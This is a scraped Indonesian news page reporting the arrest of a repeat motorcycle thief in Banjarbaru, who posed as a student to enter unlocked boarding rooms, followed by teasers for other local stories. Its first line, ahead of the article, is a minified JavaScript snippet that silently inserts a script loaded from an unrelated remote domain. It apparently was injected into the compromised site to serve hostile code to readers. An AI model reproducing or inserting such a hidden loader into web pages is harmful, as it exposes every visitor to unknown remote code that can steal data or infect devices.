(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Berlagak Seperti Mahasiswa, Residivis Curanmor Ini Akhirnya Dibekuk Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Unit Resmob Polres Banjarbaru diback up Unit Resmob Polres Hulu Sungai Utara (HSU) berhasil menangkap pelaku curanmor pada hari Sabtu (28/3/2020), di Kabupaten Hulu Sungai Utara (HST).

Unit Resmob Polres Banjarbaru yang dipimpin Iptu Alhamidie, saat itu mendapat informasi bahwa pelaku curanmor yang sebelumnya beraksi di Asrama Mahasiswa Candi Laras, Kelurhaan Guntung Paikat, Kecamatan Banjarbaru Selatan, Banjarbaru, pada bulan Agustus lalu, adalah warga Kabupaten HST. Dengan bekal informasi tersebut, petugas melakukan pengejaran dan koordinasi dengan Unit Resmob Polres HSU.

“Sesampai di sana personil kami langsung melakukan penggerebekan dan berhasil menangkap Ahmad Armain (31) di rumahnya yang beralamat di Jalan Norman Umar, Desa Kebun Sari, Kecamatan Amuntai Tengah, kabuapaten HST,” ucap Kasat Reskrim Polres Banjarbaru AKP Aryansyah.

Terkait modus, kata Kasat Reskrim, saat itu pelaku beraksi dengan bergaya layaknya mahasiswa dan mencari pintu atau jendela kost yang tidak terkunci. Kemudian pelaku masuk dan mengambil kunci sepeda motor dan kemudian membawa motor korbannya.

Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kasubbag Humas Polres Banjarbaru AKP Siti Rohayati, saat dikonfirmasi menerangkan pelaku adalah residivis yang sudah 5 kali keluar masuk penjara dengan modus slip kost-kostan atau asrama mahasiswa. Dimana pemiliknya sedang lengah kemudian ia masuk dan mengambil kunci motor serta barang-barang milik korbannya.

“Saat ditangkap pelaku mengaku beraksi seorang diri dan sudah beraksi 2 kali dimana TKP satunya masuk wilayah hukum Polres Banjar dan saat ditangkap petugas mengamankan barang bukti 1 unit Roda 2 Vario warna merah hitam,” pungkas AKP Siti.

Atas aksinya, Ahmad Armasin di jerat dengan Pasal 363 KUHP tentang pencurian dengan pemberatan dengan ancaman kurungan penjara selama 7 tahun, tegasnya. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

26 menit ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

31 menit ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

1 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

6 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

8 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

8 jam ago

This website uses cookies.